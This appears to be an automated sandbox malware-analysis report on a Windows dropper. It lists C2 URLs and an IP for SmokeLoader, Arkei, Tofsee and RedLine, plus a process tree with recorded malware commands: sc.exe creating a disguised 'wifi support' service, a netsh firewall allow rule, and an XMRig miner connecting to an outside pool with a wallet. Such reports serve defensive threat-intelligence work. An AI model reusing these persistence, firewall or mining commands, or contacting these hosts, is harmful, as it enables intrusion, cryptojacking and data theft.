Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    15-01-2022 11:32

General

  • Target

    51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798.exe

  • Size

    312KB

  • MD5

    4f7c4888f8fb1ee61755b77a25d9227c

  • SHA1

    6eba8ea92384ec3c5e6a686b1724647d22bc9a75

  • SHA256

    51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798

  • SHA512

    ced2c90e26727ee6c76c4182426fa230bc04e2ac31af173998acad65f350f51e550b82a6a6ba2c13360a1bf1851cd2e391551083de91cfa8b2b0820705036bca

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Extracted

Family

redline

Botnet

noname

C2

185.215.113.29:34865

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798.exe
    "C:\Users\Admin\AppData\Local\Temp\51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Users\Admin\AppData\Local\Temp\51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798.exe
      "C:\Users\Admin\AppData\Local\Temp\51976eb945307ca6503706ae06f3f228035d655b7ecf26b9eff0401529cc4798.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2852
  • C:\Users\Admin\AppData\Local\Temp\F80D.exe
    C:\Users\Admin\AppData\Local\Temp\F80D.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:912
  • C:\Users\Admin\AppData\Local\Temp\FEF3.exe
    C:\Users\Admin\AppData\Local\Temp\FEF3.exe
    1⤵
    • Executes dropped EXE
    PID:3340
  • C:\Users\Admin\AppData\Local\Temp\2EC.exe
    C:\Users\Admin\AppData\Local\Temp\2EC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\efqqlcqs\
      2⤵
        PID:608
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ahyhvhar.exe" C:\Windows\SysWOW64\efqqlcqs\
        2⤵
          PID:400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create efqqlcqs binPath= "C:\Windows\SysWOW64\efqqlcqs\ahyhvhar.exe /d\"C:\Users\Admin\AppData\Local\Temp\2EC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1140
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description efqqlcqs "wifi internet conection"
            2⤵
              PID:2528
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start efqqlcqs
              2⤵
                PID:1368
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1816
              • C:\Users\Admin\AppData\Local\Temp\4C2.exe
                C:\Users\Admin\AppData\Local\Temp\4C2.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3004
                • C:\Users\Admin\AppData\Local\Temp\4C2.exe
                  C:\Users\Admin\AppData\Local\Temp\4C2.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:868
                  • C:\Users\Admin\AppData\Local\Temp\ferrari2.exe
                    "C:\Users\Admin\AppData\Local\Temp\ferrari2.exe"
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3232
              • C:\Windows\SysWOW64\efqqlcqs\ahyhvhar.exe
                C:\Windows\SysWOW64\efqqlcqs\ahyhvhar.exe /d"C:\Users\Admin\AppData\Local\Temp\2EC.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2168
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2400
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2568
              • C:\Users\Admin\AppData\Local\Temp\67B3.exe
                C:\Users\Admin\AppData\Local\Temp\67B3.exe
                1⤵
                • Executes dropped EXE
                PID:1220
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1220 -s 884
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1760
              • C:\Users\Admin\AppData\Local\Temp\6B2E.exe
                C:\Users\Admin\AppData\Local\Temp\6B2E.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:892
              • C:\Users\Admin\AppData\Local\Temp\710B.exe
                C:\Users\Admin\AppData\Local\Temp\710B.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1016
              • C:\Users\Admin\AppData\Local\Temp\80EB.exe
                C:\Users\Admin\AppData\Local\Temp\80EB.exe
                1⤵
                • Executes dropped EXE
                PID:3008
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3008 -s 400
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2168
              • C:\Users\Admin\AppData\Local\Temp\8735.exe
                C:\Users\Admin\AppData\Local\Temp\8735.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:2640
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  2⤵
                    PID:948
                • C:\Users\Admin\AppData\Local\Temp\9705.exe
                  C:\Users\Admin\AppData\Local\Temp\9705.exe
                  1⤵
                  • Executes dropped EXE
                  PID:3896
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3896 -s 400
                    2⤵
                    • Program crash
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2332
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                  • Accesses Microsoft Outlook profiles
                  • outlook_office_path
                  • outlook_win_path
                  PID:3768
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:2212

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4C2.exe.log

                    MD5

                    41fbed686f5700fc29aaccf83e8ba7fd

                    SHA1

                    5271bc29538f11e42a3b600c8dc727186e912456

                    SHA256

                    df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437

                    SHA512

                    234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034

                  • C:\Users\Admin\AppData\Local\Temp\2EC.exe

                    MD5

                    4e25ecdc285820ae1792455cac7d70d9

                    SHA1

                    fcb5fe110d9f4d0d8fcc57bc7068348c73780969

                    SHA256

                    58bab4e1b57b23a3d8f58edc7f9653e08f72451d9b072cb60f28dd903e8f1891

                    SHA512

                    85db27ecbf3e33cc8b31156068099a12d6fe744c56e3acc8e4089cb56938964518dacc9d48361a747fe04c6538d87260c7d550aa950cb0fd8b1bb3365048d345

                  • C:\Users\Admin\AppData\Local\Temp\2EC.exe

                    MD5

                    4e25ecdc285820ae1792455cac7d70d9

                    SHA1

                    fcb5fe110d9f4d0d8fcc57bc7068348c73780969

                    SHA256

                    58bab4e1b57b23a3d8f58edc7f9653e08f72451d9b072cb60f28dd903e8f1891

                    SHA512

                    85db27ecbf3e33cc8b31156068099a12d6fe744c56e3acc8e4089cb56938964518dacc9d48361a747fe04c6538d87260c7d550aa950cb0fd8b1bb3365048d345

                  • C:\Users\Admin\AppData\Local\Temp\4C2.exe

                    MD5

                    29e5d8cbcf13639096bf1353b5f9f48b

                    SHA1

                    800629d06593b7fb232a2dfd08384c4349f37382

                    SHA256

                    ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                    SHA512

                    3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                  • C:\Users\Admin\AppData\Local\Temp\4C2.exe

                    MD5

                    29e5d8cbcf13639096bf1353b5f9f48b

                    SHA1

                    800629d06593b7fb232a2dfd08384c4349f37382

                    SHA256

                    ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                    SHA512

                    3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                  • C:\Users\Admin\AppData\Local\Temp\4C2.exe

                    MD5

                    29e5d8cbcf13639096bf1353b5f9f48b

                    SHA1

                    800629d06593b7fb232a2dfd08384c4349f37382

                    SHA256

                    ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                    SHA512

                    3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                  • C:\Users\Admin\AppData\Local\Temp\67B3.exe

                    MD5

                    852d86f5bc34bf4af7fa89c60569df13

                    SHA1

                    c961ccd088a7d928613b6df900814789694be0ae

                    SHA256

                    2eaa2a4d6c975c73dcbf251ea9343c4e76bdee4c5dda8d4c7074078be4d7fc6f

                    SHA512

                    b66b83d619a242561b2a7a7364428a554bb72ccc64c3ac3f28fc7c73efe95c7f9f3ac0401116ae6f7b41b960c323cc3b7adac782450013129d9dec49a81dcec7

                  • C:\Users\Admin\AppData\Local\Temp\67B3.exe

                    MD5

                    852d86f5bc34bf4af7fa89c60569df13

                    SHA1

                    c961ccd088a7d928613b6df900814789694be0ae

                    SHA256

                    2eaa2a4d6c975c73dcbf251ea9343c4e76bdee4c5dda8d4c7074078be4d7fc6f

                    SHA512

                    b66b83d619a242561b2a7a7364428a554bb72ccc64c3ac3f28fc7c73efe95c7f9f3ac0401116ae6f7b41b960c323cc3b7adac782450013129d9dec49a81dcec7

                  • C:\Users\Admin\AppData\Local\Temp\6B2E.exe

                    MD5

                    6adb5470086099b9169109333fadab86

                    SHA1

                    87eb7a01e9e54e0a308f8d5edfd3af6eba4dc619

                    SHA256

                    b4298f77e454bd5f0bd58913f95ce2d2af8653f3253e22d944b20758bbc944b4

                    SHA512

                    d050466be53c33daaf1e30cd50d7205f50c1aca7ba13160b565cf79e1466a85f307fe1ec05dd09f59407fcb74e3375e8ee706acda6906e52de6f2dd5fa3eddcd

                  • C:\Users\Admin\AppData\Local\Temp\6B2E.exe

                    MD5

                    6adb5470086099b9169109333fadab86

                    SHA1

                    87eb7a01e9e54e0a308f8d5edfd3af6eba4dc619

                    SHA256

                    b4298f77e454bd5f0bd58913f95ce2d2af8653f3253e22d944b20758bbc944b4

                    SHA512

                    d050466be53c33daaf1e30cd50d7205f50c1aca7ba13160b565cf79e1466a85f307fe1ec05dd09f59407fcb74e3375e8ee706acda6906e52de6f2dd5fa3eddcd

                  • C:\Users\Admin\AppData\Local\Temp\710B.exe

                    MD5

                    ae2e11b9e499987335f2e8dafcd26a36

                    SHA1

                    2d27b63dd8555ddffa326358148f3009b9c7365c

                    SHA256

                    4a50a008bd91dd04838da2ea59906538e55968105cec29a08792164edac4ed53

                    SHA512

                    ab183c612535cb1ec9818b245a15c1c873a585009ec73574605307b1e5ad5f4e9444ebe83695cc5a6e911a0fd2029148bd8475d043ccd450556a807847787f98

                  • C:\Users\Admin\AppData\Local\Temp\710B.exe

                    MD5

                    ae2e11b9e499987335f2e8dafcd26a36

                    SHA1

                    2d27b63dd8555ddffa326358148f3009b9c7365c

                    SHA256

                    4a50a008bd91dd04838da2ea59906538e55968105cec29a08792164edac4ed53

                    SHA512

                    ab183c612535cb1ec9818b245a15c1c873a585009ec73574605307b1e5ad5f4e9444ebe83695cc5a6e911a0fd2029148bd8475d043ccd450556a807847787f98

                  • C:\Users\Admin\AppData\Local\Temp\80EB.exe

                    MD5

                    ea6647efccb50905310bcbc1c190a1d9

                    SHA1

                    7e0b65351bcff3a319a4d41ff9920b8b46dcd8c3

                    SHA256

                    9e1812937239361273db5165a8d2d61a80da1faf78b40392fe6d8006067481fd

                    SHA512

                    2a8a32079cd4b14c505b0af1c39457fe6fc1db56114ee6c2142eed69476a07aadd909dcef3c3458671434ab33d0cfce0cf95d8b534f04e10342e40451a5cae47

                  • C:\Users\Admin\AppData\Local\Temp\80EB.exe

                    MD5

                    ea6647efccb50905310bcbc1c190a1d9

                    SHA1

                    7e0b65351bcff3a319a4d41ff9920b8b46dcd8c3

                    SHA256

                    9e1812937239361273db5165a8d2d61a80da1faf78b40392fe6d8006067481fd

                    SHA512

                    2a8a32079cd4b14c505b0af1c39457fe6fc1db56114ee6c2142eed69476a07aadd909dcef3c3458671434ab33d0cfce0cf95d8b534f04e10342e40451a5cae47

                  • C:\Users\Admin\AppData\Local\Temp\8735.exe

                    MD5

                    4837a9287985204a45642c28ccb89f9d

                    SHA1

                    4d84fd2cc1d7b06344015666b103b8d59d577777

                    SHA256

                    6276e981f19c76c6c6af4c96afb2e4a911186db61c9bcd0ec5a09607cdaf7031

                    SHA512

                    63f24d7feff62b09b2155fcfdf1e3e16edbb96dbed021400ee212948f049017825d6e157a72170a0054a5e1ab979baf5a4266daaf6b143c63956682bf7bc73d5

                  • C:\Users\Admin\AppData\Local\Temp\8735.exe

                    MD5

                    4837a9287985204a45642c28ccb89f9d

                    SHA1

                    4d84fd2cc1d7b06344015666b103b8d59d577777

                    SHA256

                    6276e981f19c76c6c6af4c96afb2e4a911186db61c9bcd0ec5a09607cdaf7031

                    SHA512

                    63f24d7feff62b09b2155fcfdf1e3e16edbb96dbed021400ee212948f049017825d6e157a72170a0054a5e1ab979baf5a4266daaf6b143c63956682bf7bc73d5

                  • C:\Users\Admin\AppData\Local\Temp\9705.exe

                    MD5

                    2aaeb87a5909ac75a747e6c95affaa78

                    SHA1

                    a75b8c8b0ac2eb77a34e15be821d1292b6a4e815

                    SHA256

                    4f94930b1cc5952444530513bb1599b236bdeaf228338df866ec8b4ea77dd0f5

                    SHA512

                    351d580315c68356610cfd0a58c8dd30c47289e0fa3a43c06b2e3b4c20d98010db81ac468734de3fa9706fbee6c367d83e92cd11d5da9fd42bbaf33ca10bce6f

                  • C:\Users\Admin\AppData\Local\Temp\9705.exe

                    MD5

                    2aaeb87a5909ac75a747e6c95affaa78

                    SHA1

                    a75b8c8b0ac2eb77a34e15be821d1292b6a4e815

                    SHA256

                    4f94930b1cc5952444530513bb1599b236bdeaf228338df866ec8b4ea77dd0f5

                    SHA512

                    351d580315c68356610cfd0a58c8dd30c47289e0fa3a43c06b2e3b4c20d98010db81ac468734de3fa9706fbee6c367d83e92cd11d5da9fd42bbaf33ca10bce6f

                  • C:\Users\Admin\AppData\Local\Temp\F80D.exe

                    MD5

                    277680bd3182eb0940bc356ff4712bef

                    SHA1

                    5995ae9d0247036cc6d3ea741e7504c913f1fb76

                    SHA256

                    f9f0aaf36f064cdfc25a12663ffa348eb6d923a153f08c7ca9052dcb184b3570

                    SHA512

                    0b777d45c50eae00ad050d3b2a78fa60eb78fe837696a6562007ed628719784655ba13edcbbee953f7eefade49599ee6d3d23e1c585114d7aecddda9ad1d0ecb

                  • C:\Users\Admin\AppData\Local\Temp\F80D.exe

                    MD5

                    277680bd3182eb0940bc356ff4712bef

                    SHA1

                    5995ae9d0247036cc6d3ea741e7504c913f1fb76

                    SHA256

                    f9f0aaf36f064cdfc25a12663ffa348eb6d923a153f08c7ca9052dcb184b3570

                    SHA512

                    0b777d45c50eae00ad050d3b2a78fa60eb78fe837696a6562007ed628719784655ba13edcbbee953f7eefade49599ee6d3d23e1c585114d7aecddda9ad1d0ecb

                  • C:\Users\Admin\AppData\Local\Temp\FEF3.exe

                    MD5

                    a3619e91fa1245858d34030236ec696b

                    SHA1

                    340d0ea5548b85ff429ae7102097c1b75160d236

                    SHA256

                    16ed57d6423603a522ba94bab37d92e3cf795420b929e6dcf9b4477f9ec79c04

                    SHA512

                    df550b2351ce208c159fd4f71433e463282b8ca5fd4831e8ca287d6867935b9dd3c40718953352c9e5bea143c7ecfeb39efe7179f59de830a7adb7c887617512

                  • C:\Users\Admin\AppData\Local\Temp\FEF3.exe

                    MD5

                    a3619e91fa1245858d34030236ec696b

                    SHA1

                    340d0ea5548b85ff429ae7102097c1b75160d236

                    SHA256

                    16ed57d6423603a522ba94bab37d92e3cf795420b929e6dcf9b4477f9ec79c04

                    SHA512

                    df550b2351ce208c159fd4f71433e463282b8ca5fd4831e8ca287d6867935b9dd3c40718953352c9e5bea143c7ecfeb39efe7179f59de830a7adb7c887617512

                  • C:\Users\Admin\AppData\Local\Temp\ahyhvhar.exe

                    MD5

                    c5229d50882582ae01bd27bde8697450

                    SHA1

                    3d5a609f758abf0fb881a5627ce552f2daad6225

                    SHA256

                    3ab836e3aa410c5c852af2e3a1de73e0791f9024188523ef1d0bc7fabb8b782b

                    SHA512

                    520a03a3590fc1b84a8122fc173d81fd619102df4135e032211cfcb747948da9c5fed715038d37aa534d756c3844bea639b41e3a0cfe0e12e5feb4118297628c

                  • C:\Users\Admin\AppData\Local\Temp\ferrari2.exe

                    MD5

                    b9c6334414a81cbb9f035e0a6ffb7e46

                    SHA1

                    898f44a090fb72086447ad6c365491e5bea0dae9

                    SHA256

                    6f3137067410de4c97ba1172261f3c3c62acd7d7dcf54bda4c90f519f10db18b

                    SHA512

                    7025790e5c89c490631c4c5e42c282457bf1b88f3a8d6ffff1f5a62703d199a2d903ab141dd1ea769aa7a08df03aa0187aeed1cd0396314a999466b122071da1

                  • C:\Users\Admin\AppData\Local\Temp\ferrari2.exe

                    MD5

                    b9c6334414a81cbb9f035e0a6ffb7e46

                    SHA1

                    898f44a090fb72086447ad6c365491e5bea0dae9

                    SHA256

                    6f3137067410de4c97ba1172261f3c3c62acd7d7dcf54bda4c90f519f10db18b

                    SHA512

                    7025790e5c89c490631c4c5e42c282457bf1b88f3a8d6ffff1f5a62703d199a2d903ab141dd1ea769aa7a08df03aa0187aeed1cd0396314a999466b122071da1

                  • C:\Windows\SysWOW64\efqqlcqs\ahyhvhar.exe

                    MD5

                    c5229d50882582ae01bd27bde8697450

                    SHA1

                    3d5a609f758abf0fb881a5627ce552f2daad6225

                    SHA256

                    3ab836e3aa410c5c852af2e3a1de73e0791f9024188523ef1d0bc7fabb8b782b

                    SHA512

                    520a03a3590fc1b84a8122fc173d81fd619102df4135e032211cfcb747948da9c5fed715038d37aa534d756c3844bea639b41e3a0cfe0e12e5feb4118297628c

                  • memory/400-148-0x0000000000000000-mapping.dmp

                  • memory/608-142-0x0000000000000000-mapping.dmp

                  • memory/652-130-0x0000000000000000-mapping.dmp

                  • memory/652-145-0x0000000000400000-0x000000000055E000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/652-144-0x0000000000560000-0x000000000060E000-memory.dmp

                    Filesize

                    696KB

                  • memory/868-159-0x0000000000419192-mapping.dmp

                  • memory/868-158-0x0000000000400000-0x0000000000420000-memory.dmp

                    Filesize

                    128KB

                  • memory/868-179-0x0000000005410000-0x00000000054A2000-memory.dmp

                    Filesize

                    584KB

                  • memory/868-176-0x0000000004EB0000-0x00000000054B6000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/868-181-0x0000000005EB0000-0x0000000005F16000-memory.dmp

                    Filesize

                    408KB

                  • memory/868-182-0x00000000069A0000-0x0000000006B62000-memory.dmp

                    Filesize

                    1.8MB

                  • memory/868-178-0x00000000052F0000-0x0000000005366000-memory.dmp

                    Filesize

                    472KB

                  • memory/868-175-0x0000000004FD0000-0x000000000501B000-memory.dmp

                    Filesize

                    300KB

                  • memory/868-174-0x0000000004F80000-0x0000000004FBE000-memory.dmp

                    Filesize

                    248KB

                  • memory/868-180-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

                    Filesize

                    120KB

                  • memory/868-162-0x0000000000400000-0x0000000000420000-memory.dmp

                    Filesize

                    128KB

                  • memory/868-183-0x00000000070A0000-0x00000000075CC000-memory.dmp

                    Filesize

                    5.2MB

                  • memory/868-163-0x0000000000400000-0x0000000000420000-memory.dmp

                    Filesize

                    128KB

                  • memory/868-172-0x0000000005050000-0x000000000515A000-memory.dmp

                    Filesize

                    1.0MB

                  • memory/868-170-0x0000000004F20000-0x0000000004F32000-memory.dmp

                    Filesize

                    72KB

                  • memory/868-177-0x0000000005FD0000-0x00000000064CE000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/868-168-0x00000000054C0000-0x0000000005AC6000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/892-223-0x0000000073D10000-0x0000000073D90000-memory.dmp

                    Filesize

                    512KB

                  • memory/892-219-0x0000000074930000-0x0000000074AF2000-memory.dmp

                    Filesize

                    1.8MB

                  • memory/892-216-0x00000000008E0000-0x0000000000963000-memory.dmp

                    Filesize

                    524KB

                  • memory/892-234-0x0000000076990000-0x0000000077CD8000-memory.dmp

                    Filesize

                    19.3MB

                  • memory/892-215-0x00000000007E0000-0x0000000000825000-memory.dmp

                    Filesize

                    276KB

                  • memory/892-220-0x0000000075440000-0x0000000075531000-memory.dmp

                    Filesize

                    964KB

                  • memory/892-229-0x0000000074DB0000-0x0000000075334000-memory.dmp

                    Filesize

                    5.5MB

                  • memory/892-221-0x00000000008E0000-0x0000000000963000-memory.dmp

                    Filesize

                    524KB

                  • memory/892-218-0x0000000000060000-0x0000000000061000-memory.dmp

                    Filesize

                    4KB

                  • memory/892-222-0x00000000008E0000-0x0000000000963000-memory.dmp

                    Filesize

                    524KB

                  • memory/892-242-0x0000000073B20000-0x0000000073B6B000-memory.dmp

                    Filesize

                    300KB

                  • memory/892-217-0x00000000008E0000-0x0000000000963000-memory.dmp

                    Filesize

                    524KB

                  • memory/892-212-0x0000000000000000-mapping.dmp

                  • memory/892-224-0x00000000052C0000-0x00000000058C6000-memory.dmp

                    Filesize

                    6.0MB

                  • memory/892-225-0x0000000002B50000-0x0000000002B62000-memory.dmp

                    Filesize

                    72KB

                  • memory/892-230-0x0000000004CA0000-0x0000000004CA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/892-227-0x0000000004BD0000-0x0000000004C0E000-memory.dmp

                    Filesize

                    248KB

                  • memory/892-226-0x0000000004DC0000-0x0000000004ECA000-memory.dmp

                    Filesize

                    1.0MB

                  • memory/912-128-0x0000000000400000-0x0000000000452000-memory.dmp

                    Filesize

                    328KB

                  • memory/912-127-0x0000000000460000-0x000000000050E000-memory.dmp

                    Filesize

                    696KB

                  • memory/912-126-0x0000000000460000-0x000000000050E000-memory.dmp

                    Filesize

                    696KB

                  • memory/912-120-0x0000000000000000-mapping.dmp

                  • memory/948-301-0x0000000000400000-0x0000000000420000-memory.dmp

                    Filesize

                    128KB

                  • memory/948-302-0x00000000004191A2-mapping.dmp

                  • memory/1016-232-0x0000000000000000-mapping.dmp

                  • memory/1140-151-0x0000000000000000-mapping.dmp

                  • memory/1220-262-0x0000000000400000-0x0000000002BC5000-memory.dmp

                    Filesize

                    39.8MB

                  • memory/1220-208-0x0000000000000000-mapping.dmp

                  • memory/1220-277-0x0000000000400000-0x0000000002BC5000-memory.dmp

                    Filesize

                    39.8MB

                  • memory/1220-239-0x0000000002F00000-0x0000000002FA0000-memory.dmp

                    Filesize

                    640KB

                  • memory/1220-289-0x0000000000400000-0x0000000002BC5000-memory.dmp

                    Filesize

                    39.8MB

                  • memory/1220-248-0x000000000306F000-0x00000000030F0000-memory.dmp

                    Filesize

                    516KB

                  • memory/1368-153-0x0000000000000000-mapping.dmp

                  • memory/1816-155-0x0000000000000000-mapping.dmp

                  • memory/2168-157-0x0000000000814000-0x0000000000825000-memory.dmp

                    Filesize

                    68KB

                  • memory/2168-171-0x0000000000400000-0x000000000055E000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/2168-169-0x00000000006A0000-0x00000000007EA000-memory.dmp

                    Filesize

                    1.3MB

                  • memory/2212-288-0x0000000000000000-mapping.dmp

                  • memory/2400-167-0x0000000002C80000-0x0000000002C81000-memory.dmp

                    Filesize

                    4KB

                  • memory/2400-173-0x0000000002D70000-0x0000000002D85000-memory.dmp

                    Filesize

                    84KB

                  • memory/2400-164-0x0000000002D70000-0x0000000002D85000-memory.dmp

                    Filesize

                    84KB

                  • memory/2400-165-0x0000000002D79A6B-mapping.dmp

                  • memory/2400-166-0x0000000002C80000-0x0000000002C81000-memory.dmp

                    Filesize

                    4KB

                  • memory/2528-152-0x0000000000000000-mapping.dmp

                  • memory/2568-206-0x0000000002910000-0x0000000002A01000-memory.dmp

                    Filesize

                    964KB

                  • memory/2568-197-0x00000000029A259C-mapping.dmp

                  • memory/2568-191-0x0000000002910000-0x0000000002A01000-memory.dmp

                    Filesize

                    964KB

                  • memory/2572-118-0x00000000005F0000-0x00000000005F9000-memory.dmp

                    Filesize

                    36KB

                  • memory/2640-266-0x0000000000000000-mapping.dmp

                  • memory/2852-117-0x0000000000402F47-mapping.dmp

                  • memory/2852-116-0x0000000000400000-0x0000000000409000-memory.dmp

                    Filesize

                    36KB

                  • memory/2892-156-0x0000000003260000-0x0000000003276000-memory.dmp

                    Filesize

                    88KB

                  • memory/2892-119-0x0000000000F50000-0x0000000000F66000-memory.dmp

                    Filesize

                    88KB

                  • memory/3004-140-0x0000000000520000-0x00000000005AA000-memory.dmp

                    Filesize

                    552KB

                  • memory/3004-133-0x0000000000000000-mapping.dmp

                  • memory/3004-141-0x0000000004DE0000-0x0000000004E56000-memory.dmp

                    Filesize

                    472KB

                  • memory/3004-143-0x0000000004D80000-0x0000000004D9E000-memory.dmp

                    Filesize

                    120KB

                  • memory/3004-146-0x0000000004E60000-0x0000000004E61000-memory.dmp

                    Filesize

                    4KB

                  • memory/3004-147-0x00000000028A0000-0x00000000028A1000-memory.dmp

                    Filesize

                    4KB

                  • memory/3004-150-0x00000000053A0000-0x000000000589E000-memory.dmp

                    Filesize

                    5.0MB

